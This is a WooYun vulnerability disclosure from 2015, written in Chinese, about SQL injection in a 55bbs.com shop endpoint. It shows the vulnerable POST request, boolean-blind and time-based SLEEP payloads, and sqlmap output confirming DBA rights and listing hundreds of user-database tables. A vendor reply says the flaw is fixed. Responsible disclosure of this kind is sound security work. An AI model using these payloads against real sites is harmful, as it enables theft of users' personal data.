当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118240

漏洞标题：我爱购物网两处SQL注入涉及近八百多张表几百万用户信息泄露

相关厂商：55bbs.com

漏洞作者： 紫霞仙子

提交时间：2015-06-04 16:40

修复时间：2015-07-19 20:46

公开时间：2015-07-19 20:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-04： 细节已通知厂商并且等待厂商处理中
2015-06-04： 厂商已经确认，细节仅向厂商公开
2015-06-14： 细节向核心白帽子及相关领域专家公开
2015-06-24： 细节向普通白帽子公开
2015-07-04： 细节向实习白帽子公开
2015-07-19： 细节向公众公开

简要描述：

233

详细说明：

POST /index.php?a=Ajaxinsert&c=ShopDetail HTTP/1.1
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: goldmall.55bbs.com
Cookie: ****************
Host: goldmall.55bbs.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
pro_id=231&uid=4296763
参数pro_id,uid
**********************
这里只测试pro_id参数，
uid参数自测
**********************
payload:
and 1=1
and 1=2

漏洞证明：

---
Parameter: pro_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pro_id=231 AND 5906=5906&uid=4296763
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: pro_id=231 AND (SELECT * FROM (SELECT(SLEEP(5)))wKRM)&uid=4296763
---
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[INFO] retrieved: 55usercenter@10.15.18%
current user is DBA:    True
*********DBA权限*********
available databases [3]:
[*] `55usercenter`
[*] information_schema
[*] mysql
Database: 55usercenter
[728 tables]
+-------------------------------------------+
|  \x0f\x1c\x0fPpn\x10fnkjbwr_\x033         |
| 11_test                                   |
| 55_announcements                          |
| 55_atme_0                                 |
| 55_atme_10                                |
| 55_atme_11                                |
| 55_atme_12                                |
| 55_atme_13                                |
| 55_atme_14                                |
| 55_gethelp                                |
| 55_goldmall_addresses                     |
| 55_goldmall_collect                       |
| 55_goldmall_notice                        |
| 55_goldmall_prodorders                    |
| 55_goldmall_prodtickid                    |
| 55_goldmall_products                      |
| 55_goldmall_records_0                     |
| 55_goldmall_records_10                    |
| 55_goldmall_records_11                    |
| 55_goldmall_records_12                    |
| 55_goldmall_records_13                    |
| 55_goldmall_records_14                    |
| 55_goldmall_records_15                    |
| 55_medalsuser_0                           |
| 55_medalsuser_2                           |
| 55_medalsuser_4                           |
| 55_members?8es\x02\x04K"                  |
| 55_members_count_1                        |
| 55_members_count_2                        |
| 55_members_count_3                        |
| 55_members_dnail_4                        |
| 55_members_email_4                        |
| 55_members_email_6                        |
| 55_members_email_G                        |
| 55_members_email_b                        |
| 55_members_username>z                     |
| 55_members_username_1                     |
| 55_members_username_4                     |
| 55_members_username_5                     |
| 55_members_username_6                     |
| 55_members_username_7                     |
| 55_members_username_b                     |
| 55_members_username_c                     |
| 55_user_0                                 |
| 55_user_1                                 |
| 55_user_2                                 |
| 55_user_3                                 |
| 55_user_4                                 |
| 55_user_5                                 |
| 55_user_6                                 |
| 55_user_7                                 |
| 55_user_8                                 |
| 55_user9!                                 |
| 55_userblog_0                             |
| 55_userblog_11                            |
| 55_userblog_12                            |
几百万用户信息

修复方案：

~~~~~~

版权声明：转载请注明来源 紫霞仙子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-06-04 20:45

厂商回复：

漏洞已经修复,感谢作者.

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-04 16:55 | sql小神 ( 路人 | Rank:19 漏洞数:4 | 有些漏洞可以提，有些漏洞不可以提。)

    这个网站这么大，你都能找到，你扫了几天啊

  2. 2015-06-04 16:58 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 ！！！)

    @sql小神 快准狠在这里就体现出来了。

  3. 2015-06-05 02:13 | SuperRookie ( 实习白帽子 | Rank:39 漏洞数:7 | 求收编，本人会注入，会上传，会Xss，会破...)

    估计这信息早都泄露了 发出来就有背黑锅的

  4. 2015-06-05 08:17 | 小牛牛 ( 实习白帽子 | Rank:56 漏洞数:7 | 求带)

    @紫霞仙子 厉害，求带我学习